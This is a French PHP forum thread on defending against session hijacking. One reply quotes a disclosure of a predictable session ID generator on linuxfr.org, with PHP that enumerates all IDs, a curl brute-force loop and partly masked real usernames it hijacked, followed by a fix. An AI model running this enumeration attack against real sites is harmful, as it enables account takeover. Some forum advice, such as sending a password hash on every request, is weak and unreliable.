Contrer les piratages de sessions...

Contrer les piratages de sessions... - PHP - Programmation

Marsh Posté le 27-05-2005 à 16:42:44    

(re)Bonjour,
 
J'ai créé un systeme qui permet à un utilisateur de se loger sur le site. Lorsqu'il se loge, une session lui est attribué, et son ip est conservée en memoire. A chaque page qu'il consulte, on vérifie que son ip est toujours la meme, pour refuser toute personne ayant piraté l'id de session.
 
MAIS (le hic)
 
Il semblerait que cette technique empeche certaines personnes de se connecter au site, comme :
-les proxys : les utilisateurs qui sont derriere un proxy ont tous la meme ip, donc un seul au plus pourra acceder au site à un moment donné (mais cette limitation est acceptable je penses)
-les utilisateurs d'aol (ca pose tjs pb aol...) changent d'ip à chaque page consultée. Ils seront donc pris pour des pirates et ejecté du site...
 
Ce que je penses :
 
Je penses que l'ip est un le seul élément qui nous informe sur l'identité de l'utilisateur. Donc si on peut pas l'utiliser de maniere fiable et stable, alors on ne peut pas proteger les sessions...
 
Mais il doit tout de meme y avoir un moyen nan??? Il font comment les pros de la sécurité ?

Reply

Marsh Posté le 27-05-2005 à 16:42:44   

Reply

Marsh Posté le 27-05-2005 à 17:31:55    

Tu peux utiliser plusieurs infos que tu obtiens du client.
Par exemple :
- l'user agent de son navigateur
- l'ip du visiteur
- s'il passe par un proxy
- l'os du visiteur
- si tu fais un reverse de l'ip tu peux obtenir le provider et le pays
- la resolution d'ecran.
 
Ensuite il te suffit de faire une comparaison ds toutes ces proprietes et de definir un ecart maximun.
 
Tu peux par exemple dire que si le visiteur utilisant une session echoue a 3 comparaisons, alors tu consideres que la session n'est plus valable.
Comme ca, les utilisateurs d'aol, vont echouer a l'ip, mais en revanche vont continuer a reussir la comparaison sur les autres termes.

Reply

Marsh Posté le 27-05-2005 à 17:33:37    

Mouais ... je reste peu entousiaste de ce genre de controle trop "voluble"


---------------
Si la vérité est découverte par quelqu'un d'autre,elle perd toujours un peu d'attrait
Reply

Marsh Posté le 27-05-2005 à 17:42:05    

cerel a écrit :

Tu peux utiliser plusieurs infos que tu obtiens du client.
Par exemple :
- l'user agent de son navigateur
- l'ip du visiteur
- s'il passe par un proxy
- l'os du visiteur
- si tu fais un reverse de l'ip tu peux obtenir le provider et le pays
- la resolution d'ecran.(1)
 
Ensuite il te suffit de faire une comparaison ds toutes ces proprietes et de definir un ecart maximun.
 
Tu peux par exemple dire que si le visiteur utilisant une session echoue a 3 comparaisons, alors tu consideres que la session n'est plus valable.
Comme ca, les utilisateurs d'aol, vont echouer a l'ip, mais en revanche vont continuer a reussir la comparaison sur les autres termes.


 
(1)Tu me la récupères comment la résolution de l'écran en php ?  :heink:  
Tu es obligé de passer par un script JavaScript ? Et si l'utilisateur a désactivé le Javascript  ? :pt1cable:

Reply

Marsh Posté le 27-05-2005 à 17:43:16    

Merci Cerel, ta reponse est vraiment interressante :-)) Ce sont ces méthodes qui sont utilisées dans le milieu professionnel ?
 
Dois je en conclure qu'il n'y a pas de methode sur à 100% ?
 
Autre question : comment font les pirates pour recuperer une session ? Ils font des requetes aux serveurs avec un id de session qui s auto incremente jusqu'a ce que ca marche ?
 
Merci

Reply

Marsh Posté le 27-05-2005 à 17:48:07    

yoyo354 a écrit :

(1)Tu me la récupères comment la résolution de l'écran en php ?  :heink:  
Tu es obligé de passer par un script JavaScript ? Et si l'utilisateur a désactivé le Javascript  ? :pt1cable:


 
J'etais pas sur, il me semblais que c'etait possible. Au temps pour moi, j'ai dit une betise (si ce n'est qu'une seule ca va :P).
Faut m'excuser c'est vendredi et il faut chaud (vi je sais, excuse facile).

Reply

Marsh Posté le 27-05-2005 à 17:48:24    

Deux méthodes à ma connaissance(qui est limitée) :
- Brute force : on envoie des requêtes au serveur avec plein de SESSONID jusqu'à temps d'avoir une "réponse" ;
- Sur un serveur mutualisé, on récupère les sessions dans /tmp.

Reply

Marsh Posté le 27-05-2005 à 17:53:07    

et comment envoyer des requêtes avec des sessid au serveur?  :heink:  
 
je suis sur un mutualisé, j'ai pas de dossier tmp.  :??: alors?

Reply

Marsh Posté le 27-05-2005 à 17:53:20    

Et pourquoi pas, tout simplement, une clé unique générée à l'ouverture de session, stockée à la fois dans la session, et sous forme de cookie chez l'utilisateur ?
Il suffit alors de vérifier que le cookie de l'utilisateur correspond bien à la valeur en session ...

Reply

Marsh Posté le 27-05-2005 à 17:57:06    

cerel a écrit :

Faut m'excuser c'est vendredi et il faut chaud (vi je sais, excuse facile).


Il faut également chaud, très chaud chez moi ce vendredi apès-midi. La transpiration qui dégouline de mes mains va provoquer des court-circuits dans mon clavier  :sleep:  
 
Pour en Revenir aux sessions, Il y a deux moyens de se protéger(pas testé) :
- Contre le brute force : detecter les "mauvaises" sessions qui se perpétuent pour un même utilisateur. Ou par l'intermédiaire s'un segment de mémoire partagé qui s'occupe de ça ;  
- Pour les mutualisé : prendre un dédié  :love:  
 
Sinon, le simple fait de comparer en plus l'user-agent devrait déjà faire reculer pendant quelques temps un piratage(Jusqu'au moment où le pirate trouvera sans difficultés l'user-agent de son "client"...)
 
EDIT : La prposition de dsls est pas mal non plus.
 
Mais pour une sécurité "renforcé", rien ne vaut le ssl avec certificat...


Message édité par yoyo354 le 27-05-2005 à 17:59:02
Reply

Marsh Posté le 27-05-2005 à 17:57:06   

Reply

Marsh Posté le 27-05-2005 à 17:57:12    

Parce que si le pirate recupere la session, il aura cette variable a disposition...

Reply

Marsh Posté le 27-05-2005 à 17:58:40    

benji_100 a écrit :

Parce que si le pirate recupere la session, il aura cette variable a disposition...


Ben non ... il aura l'ID de session, pas son contenu ...

Reply

Marsh Posté le 27-05-2005 à 18:00:05    

Pffffiuuuu vous repondez super vite !!!
 
C'est quoi un serveur mutualisé ???
 
Yoyo j ai pas compris tes methodes contre la force brute, pourrait tu developper un peu? ;)

Reply

Marsh Posté le 27-05-2005 à 18:02:00    

un mutualisé c'est un serveur "squatté" par d'autres clients du prestataire qui t'heberge.  :heink: En gros t'es pas le seul a stocker tes fichiers sur le serveur, d'autres clients ont un espace alloué sur le disque dur de ce serveur.

Reply

Marsh Posté le 27-05-2005 à 18:03:15    

Merci pmusa :)
Et sur des serveurs mutualisé, tout le monde a acces au /tmp ?

Reply

Marsh Posté le 27-05-2005 à 18:07:40    

j'avais lu un dossier sur APACHE et je crois pas que ça se fait, et c'est fort heureux.  :sweat: on pourrait aussi chiper les fichiers des autres sinon. :/
 
et j'attend la réponse de yoo à propos du directory /tmp.  :) j'l'lai pas moua ce truc.
 
 
AU PASSAGE, qqn sait à quoi sert le dossier vti_cnf  :??:

Reply

Marsh Posté le 27-05-2005 à 18:10:44    

pmusa a écrit :

un mutualisé c'est un serveur "squatté" par d'autres clients du prestataire qui t'heberge.  :heink: En gros t'es pas le seul a stocker tes fichiers sur le serveur, d'autres clients ont un espace alloué sur le disque dur de ce serveur.


 
On se demande pas ce que tu penses des dédiés  :D  
C'est vrai que les dédiés c'est pas top, mais tout le monde n'a pas les qualifications requises pour configurer et sécuriser un serveur dédié "juste" pour l'hebergement d'un site. :jap:  
 
Pour contrer le brute force, rien de mieux qu'un exmple trouvé dans PHPCOOK (chapitre 8.27). (Je suis dégouté, j'achète ce bouqin 40€ et je le retrouve en téléchargement sur le net :fou: )
J'ai pas testé ce script, mais en gros, il regarde si les gens se connectent pas trop souvent sur le site ( par exemple : 500 connections en 1 minutes, ça fait beaucoup) et si ils abusent, on leur affiche une page d'erreur.
 
Pour le /tmp et non tmp : ( /tmp est à la racine du serveur, tmp serait à la racine de ton homedire (/home/benji_100/tmp). Ce repertoire comme son nom l'indique contient tout ce qui est temporaire, comme les sessions. On peut remedier à ceci en utilisant session_set_save_handler pour customiser l'enregistrement des sessions(dans une bd(Pour partagé les sessions entres plusieurs serveurs...), un fichier txt, sur une feuille de papier...).


Message édité par yoyo354 le 27-05-2005 à 18:16:34
Reply

Marsh Posté le 27-05-2005 à 18:27:25    

Ce week-end je vais essayer de trouver le temps d'écrire le tuto que j'ai commancer il y a quelques mois, sur comment securiser les sessions ... Chose passionnante (et on ne rigole pas) mais deprimante (vous verrez pourquoi)


---------------
Si la vérité est découverte par quelqu'un d'autre,elle perd toujours un peu d'attrait
Reply

Marsh Posté le 27-05-2005 à 18:33:23    

esox_ch, ou peut on consutler ce tuto ? Il est deja en ligne ?

Reply

Marsh Posté le 27-05-2005 à 18:33:23    

esox_ch a écrit :

Ce week-end je vais essayer de trouver le temps d'écrire le tuto que j'ai commancer il y a quelques mois, sur comment securiser les sessions ... Chose passionnante (et on ne rigole pas) mais deprimante (vous verrez pourquoi)


Enfin !  
 
 :)
 
benji_100, esox_ch à dit ce week-end....


Message édité par yoyo354 le 27-05-2005 à 18:34:45
Reply

Marsh Posté le 27-05-2005 à 18:35:55    

Ya peut etre deja une partie en ligne :P

Reply

Marsh Posté le 27-05-2005 à 19:32:25    

Citation :

Mais pour une sécurité "renforcé", rien ne vaut le ssl avec certificat...


Je ne connait pas bien ... il faut des prerequis sur le serveur ? Le site est sur un serveur mutualisé en effet, je peut pas faire tout ce que je veut :)
Je n'utilise pas les cookies ... dommage ... j aurai pu utiliser la solution de dsdl mais certains utilisateurs desactivent les cookies.


Message édité par benji_100 le 27-05-2005 à 19:34:26
Reply

Marsh Posté le 27-05-2005 à 19:44:55    

Perso (je sens que je vais me faire taper dessus), je n'utilise plus les sessions du tout.
Je suis loin de m'y connaitre comme esox_ch, mais mon petit doigt me dis que ce qui est déprimant, c'est qu'il n'y a pas de moyen fiable à 100%.
Perso, j'utilise uniquement les cookies, y'en a qui les désactive, bah tant pis, au moment de l'inscription sur mon site, je le précise : Si pas de cookies, pas de chocolat mais au moins, les cookies, le seul moyen de les piraters, c'est d'aller sur l'ordi du membre.  

Reply

Marsh Posté le 27-05-2005 à 19:56:45    

The-Shadow a écrit :

Perso (je sens que je vais me faire taper dessus), je n'utilise plus les sessions du tout.
Je suis loin de m'y connaitre comme esox_ch, mais mon petit doigt me dis que ce qui est déprimant, c'est qu'il n'y a pas de moyen fiable à 100%.
Perso, j'utilise uniquement les cookies, y'en a qui les désactive, bah tant pis, au moment de l'inscription sur mon site, je le précise : Si pas de cookies, pas de chocolat mais au moins, les cookies, le seul moyen de les piraters, c'est d'aller sur l'ordi du membre.


 
bah tu fais bien de ne plus utiliser les sessions, surtout celles du php. Par contre les cookies ne sont pas plus secures, voire meme moins...
 
Avant tout, il faut faire la part des choses. Est-ce que les donnees sont tellement sensibles, ou bien cela ne sert que pour un petit site ou forum?
Dans le premier cas, on utilisera du https, seul protocole sur pour ce genre d'echange. Dans le second cas, arretez de vous casser la tete... y a pas de solution miracle. Prevoyez plutot un bon systeme de backup en cas de degats.

Reply

Marsh Posté le 27-05-2005 à 20:01:12    

Chase a écrit :

Pas bête, ça évite le brute force :p (et donc, pas besoin de vérifier la fréquence des connexions)
 
Et en md5-hashant cette clé unique, même si le pirate a accès au contenu de la session, il mettra un certain temps avant de trouver la clé décryptée.
 
Mais tout le monde n'accepte pas les cookies. Donc il faudrait interdire à PHP de faire passer les sessions par GET, et n'autoriser que par les cookies.
A moins que quelqu'un d'autre ait une idée pour ce cas particulier ?


le pirate s'en fout de la clef originale. avec une bonne machine, il ne lui faudra pas longtemp pour en trouver une qui donnera le meme hashing.

Reply

Marsh Posté le 27-05-2005 à 20:07:46    

Citation :

Avant tout, il faut faire la part des choses. Est-ce que les donnees sont tellement sensibles, ou bien cela ne sert que pour un petit site ou forum?  
Dans le premier cas, on utilisera du https, seul protocole sur pour ce genre d'echange. Dans le second cas, arretez de vous casser la tete... y a pas de solution miracle. Prevoyez plutot un bon systeme de backup en cas de degats.


Serait ce la conclusion de ce post ? ;-)

Reply

Marsh Posté le 27-05-2005 à 20:08:19    

Chase a écrit :

Pas bête, ça évite le brute force :p (et donc, pas besoin de vérifier la fréquence des connexions)


 
Encore faut-il que le calcul de clef ai pas un bug :o
 

Bonsoir à tous
 
Ca a commence par une remarque sur la tribune de woof. Quelqu'un s'est
trompe dans la configuration de son canard, et a mis son session_id de
woof.lu pour linuxfr.org. Résultat : il se retrouve avec un compte
qui n'est pas le siens.
 
C'est de là qu'est née l'interrogation. Soit un sessionId valide
sur un site dacode, quelle est le pourcentage de chances pour qu'il
donne un compte sur linuxfr.
 
Un sessionID, c'est 19 caracteres, minuscules, majuscules ou chiffre,
soit theoriquement (26+26+10)19 possibilitées (ma calculatrice me
dit : 1.1361668153983839080134359106716e+34).
 
Donc dans ce cas, la probabilité de tomber sur un sessionId existant
est très faible, donc celui à qui c'est arrivé devrait jouer au loto.
 
Auditons maintenant le code. La creation d'un id se fait dans
phplib/users.php3, par un makerand (19);
 
Voyons la fonction makerand :
 
   Function makerand($nb=8) {
       mt_srand((double)microtime()*1000000);
       $r="";
       $r1=array(48,65,97);
       $r2=array(57,90,122);
       for($i=1; $i<=$nb; $i++) {
           $j=mt_rand(0,2);
           $r.=sprintf("%c",mt_rand($r1[$j],$r2[$j]));
       }
       return $r;
   }
 
On voit qu'elle initialize son randomizer a chaque passage, et que le
reste dépend uniquement de la valeur de cette initialization.
Ce qui fait qu'en fait, il y a autant de sessionID que de valeur
d'initializations possibles. Soit 1000000.
 
Verifions maintenant ceci avec une page capable d'afficher la liste
des sessionId valides :
 
<?php
 
   Function makerand($nb=8,$init) {
       mt_srand($init);
       $r="";
       $r1=array(48,65,97);
       $r2=array(57,90,122);
       for($i=1; $i<=$nb; $i++) {
           $j=mt_rand(0,2);
           $r.=sprintf("%c",mt_rand($r1[$j],$r2[$j]));
       }
       return $r;
   }
 
   for ($i = 0; $i < 1000000; $i += 2){
       echo makerand (19, $i) . "\n";
       }
?>
 
Juste une remarque, le $i += 2 est là parcequ'en fait, il y a 500000
possibilité d'initialization, pour un $init pair, $init + 1 renvoient
le même sessionId.
 
Ca a l'air d'être une caractèristique de mt_srand si j'en croit le
resultat de cette fonction :
 
<?php
   for ($i = 0; $i < 10; $i += 1){
       mt_srand ($i);
       $v1 = mt_rand (0, 10);
       $v2 = mt_rand (0, 10);
       $v3 = mt_rand (0, 10);
       print ("i=$i vals = $v1 $v2 $v3 <br>" );
       }
?>
 
Qui m'affiche :
   i=0 vals = 9 10 5
   i=1 vals = 9 10 5
   i=2 vals = 6 6 10
   i=3 vals = 6 6 10
   i=4 vals = 1 0 10
   i=5 vals = 1 0 10
   i=6 vals = 9 6 1
   i=7 vals = 9 6 1
   i=8 vals = 7 2 9
   i=9 vals = 7 2 9
 
Donc je passe ma moulinette a calcul de session avec un :
[kadreg@rincevent kadreg]$ curl rincevent.dyndns.org/microtime.php3 > sessionsid.txt
 
J'obtient un gros fichier de 10Mo sensé contenir l'ensemble des sessionID
de dacode :
[kadreg@rincevent kadreg]$ ll sessionsid.txt
-rw-r-----    1 kadreg   web      10000000 aoû 31 14:27 sessionsid.txt
[kadreg@rincevent kadreg]$
 
Selon http://linuxfr.org/users/?a=mu, j'ai 6 sessions actuellement
ouvertes sur dlfp, je vérifie que les 6 identifiants sont biens
dans le fichier :
 
[kadreg@rincevent kadreg]$ grep XXXXXXXXXXXXXXXXXXX sessionsid.txt
XXXXXXXXXXXXXXXXXXX
[kadreg@rincevent kadreg]$
 
Mes six sessions sont bien dans le fichier. Sur linuxfr, il y a 19919
sessions déclarées. Donc si je prend un identifiant de session au hasard
dans mon fichier, il a (19919/500000) 4% de chances de correspondre à un
compte valide sur dlfp.
 
Maintenant, comment faire pour tester qu'un sessionId est affecte a
quelqu'un ? La meilleure que j'ai trouvée est d'utiliser la page
des préférences.
 
[kadreg@rincevent kadreg]$ curl --cookie session_id=XXXXXXXXXXXXXXXXXX http://linuxfr.org/users/?a=mu | grep Login
 
Cette ligne affichera rien si le sessionId est invalide, les informations
sur l'utilisateur (Login, Nom, Prenom, email, ...) si elle l'est.
 
Faisons en un simple script :
 
[kadreg@rincevent kadreg]$ cat crackdlfp.sh
export NUM=3
for i in `head -$NUM sessionsid.txt`
do
echo --------------------------------
echo sessionId = $i
curl --cookie session_id=$i http://linuxfr.org/users/?a=mu | grep Login
done
[kadreg@rincevent kadreg]$
 
La premiere ligne permet de definir combien de sessionsID du fichier
faut-il tenter.
 
Pour valider l'idee, faisons un essai avec 200 sessionsID (les 200 premiers
du fichier). On trouve trois comptes valides :
DaK i769pG8I3..........
christ E9l915FS75..........
inzemoon 59M0VlN..........
 
Sur les 200 suivants, 10 comptes valides  :
 
rellik t4kIz3rvA..........
gdelamarre 29im9m..........
olicaro rDk7wpWV..........
antibarbie Qleq820F..........
Flipo pGJrtDQl0..........
funkix 184jjm2W7..........
daique DABA47O..........
Huzi 26mos0J7..........
Flipo H16Fnd3S..........
puce jkNiapIuH..........
 
Correction du bug :
Ne limitons plus le srand, faisons lui choisir entre 4 Milliards
de nombres, il y auras  ainsi 4000 fois plus de possibilité de
sessions. On obtient ainsi une nouvelle fonction makerand pour
phplib/users.php3. Seule l'appel à mt_srand change. Cette fonction
tourne actuellement sur woof.lu pour la valider  :
 
       Function makerand($nb=8) {
               mt_srand(((time () % 4096)+((double)microtime ()))*1000000);
               $r="";
               $r1=array(48,65,97);
               $r2=array(57,90,122);
               for($i=1; $i<=$nb; $i++) {
                       $j=mt_rand(0,2);
                       $r.=sprintf("%c",mt_rand($r1[$j],$r2[$j]));
               }
               return $r;
       }


---------------
JE JE SUIS LIBERTINEEEEEEEEEEE JE SUIS UNE CATINNNNNNNNN §§§§§§§§
Reply

Marsh Posté le 27-05-2005 à 20:18:37    

gizmo a écrit :

bah tu fais bien de ne plus utiliser les sessions, surtout celles du php. Par contre les cookies ne sont pas plus secures, voire meme moins...


A quel niveau ?
 

Reply

Marsh Posté le 27-05-2005 à 20:57:46    

Elianor, les fonction cette fonction makerand etait propre a CE serveur en particulier non ?

Reply

Marsh Posté le 27-05-2005 à 20:58:36    

benji_100 a écrit :

Elianor, les fonction cette fonction makerand etait propre a CE serveur en particulier non ?


 
reprises intégralement de la doc PHP de l'époque, donc pas mal de site doivent encore avoir le problème [:spamafote]


---------------
JE JE SUIS LIBERTINEEEEEEEEEEE JE SUIS UNE CATINNNNNNNNN §§§§§§§§
Reply

Marsh Posté le 27-05-2005 à 21:07:42    

c'est fou ca ...

Reply

Marsh Posté le 27-05-2005 à 23:26:10    

The-Shadow a écrit :

A quel niveau ?


vol d'info dans le cookie par un site tiers ou un javascript. les seuls infos qu'un cookie devrait contenir sont des preferences d'affichages, et, dans le moins bon cas, des infos de login temporaire modifiees regulierement.

Reply

Marsh Posté le 27-05-2005 à 23:36:16    

gizmo a écrit :

vol d'info dans le cookie par un site tiers ou un javascript. les seuls infos qu'un cookie devrait contenir sont des preferences d'affichages, et, dans le moins bon cas, des infos de login temporaire modifiees regulierement.


Par un site tiers, c'est possible ça ? :ouch:  
Bon, sinon, pour le javascript, suffit de pas l'autoriser sur ton site, parce qu'autrement, ni cookies ni sessions ni htaccess ne sont complètement sécurisés à ce que j'imagine.

Reply

Marsh Posté le 27-05-2005 à 23:42:42    

The-Shadow a écrit :

Par un site tiers, c'est possible ça ? :ouch:  


 
cross site scripting [:spamafote]
 
C'est un classique.
 
http://www.phpsecure.info/v2/article/XSS.php


---------------
JE JE SUIS LIBERTINEEEEEEEEEEE JE SUIS UNE CATINNNNNNNNN §§§§§§§§
Reply

Marsh Posté le 27-05-2005 à 23:55:13    


Je ne pense pas que Gizmo parle de ça, faut pas me prendre pour un gros newb non plus, c'est le genre de faille qu'on apprend à son troisième jour de PHP. :D
Y'a-t-il encore quelqu'un qui affiche des entrées de formulaire de visiteurs sur son site sans passer par un htmlentities ? Si oui, qu'il se lève sans honte. :D


Message édité par The-Shadow le 27-05-2005 à 23:56:06
Reply

Marsh Posté le 28-05-2005 à 05:16:40    

perso je fait un hash md5 de l'IP concaténée de l'UserAgent pour sécuriser mes sessions et mes cookies.

Reply

Marsh Posté le 28-05-2005 à 11:20:33    

Chase a écrit :

Pas bête, ça évite le brute force :p (et donc, pas besoin de vérifier la fréquence des connexions)
 
Et en md5-hashant cette clé unique, même si le pirate a accès au contenu de la session, il mettra un certain temps avant de trouver la clé décryptée.
 
Mais tout le monde n'accepte pas les cookies. Donc il faudrait interdire à PHP de faire passer les sessions par GET, et n'autoriser que par les cookies.
A moins que quelqu'un d'autre ait une idée pour ce cas particulier ?


 
De toute facon et honnetement je vois pas pourquoi vous vous emmerdez avec des sessions ou cookies. Un truc fiable c'est de générer le hash MD5 du mot de passe de l'utilisateur et de le transmettre à chaque demande d'une page. Puis on compare ce hash pour authentifier l'utilisateur du coté serveur...  :jap:
 
+ HTTPS pour éviter des analyses de trames entre le client et le serveur  :jap:  
 
Et là honnetement je vois pas comment on pourrait s'authentifier sur le serveur (faille script php & faille dans les services du serveur exclu).  :o


Message édité par AthlonSoldier le 28-05-2005 à 11:23:21
Reply

Marsh Posté le 28-05-2005 à 11:21:20    

AthlonSoldier a écrit :

De toute facon et honnetement je vois pas pourquoi vous vous emmerdez avec des sessions ou cookies.


 
Parce que dans une session, on peut stocker des informations ?


---------------
JE JE SUIS LIBERTINEEEEEEEEEEE JE SUIS UNE CATINNNNNNNNN §§§§§§§§
Reply

Marsh Posté le 28-05-2005 à 11:22:27    

elianor a écrit :

Parce que dans une session, on peut stocker des informations ?


Tu peux tres bien crée une table qui associe a chaque MD5(password) des informations du coté serveur  :o

Reply

Marsh Posté le 28-05-2005 à 11:25:34    

gizmo a écrit :

le pirate s'en fout de la clef originale. avec une bonne machine, il ne lui faudra pas longtemp pour en trouver une qui donnera le meme hashing.


 
[:rofl] [:rofl]
 
Je suis désolé mais si tu génére le hash MD5 à partir d'un numéro de session PHP (qui represente 128 bits), tu peux t'accrocher pour le brute forcé, meme avec un super calculateur  [:sygus]

Reply

Marsh Posté le    

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed